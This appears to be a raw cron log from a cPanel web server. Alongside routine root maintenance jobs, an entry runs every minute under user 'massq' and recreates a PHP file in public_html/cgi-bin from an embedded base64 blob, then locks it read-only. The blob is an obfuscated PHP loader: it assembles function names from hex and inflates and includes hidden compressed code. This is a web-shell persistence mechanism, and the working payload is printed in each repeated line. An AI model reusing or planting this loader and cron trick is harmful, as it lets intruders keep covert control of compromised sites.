Nov 12 20:19:01 server CROND[9849]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:20:01 server CROND[10169]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 20:20:01 server CROND[10170]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 20:20:01 server CROND[10174]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 20:20:01 server CROND[10173]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 20:20:01 server CROND[10175]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:21:02 server CROND[10846]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:22:01 server CROND[11747]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:23:01 server CROND[12569]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:24:01 server CROND[13468]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:25:01 server CROND[14434]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 20:25:01 server CROND[14435]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 20:25:01 server CROND[14436]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:25:01 server CROND[14437]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 12 20:26:01 server CROND[15354]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:27:01 server CROND[16236]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 20:27:01 server CROND[16237]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:28:01 server CROND[17117]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:29:01 server CROND[17631]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:30:01 server CROND[18491]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 20:30:01 server CROND[18492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 20:30:01 server CROND[18493]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 12 20:30:01 server CROND[18495]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 20:30:01 server CROND[18494]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:31:01 server CROND[19515]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
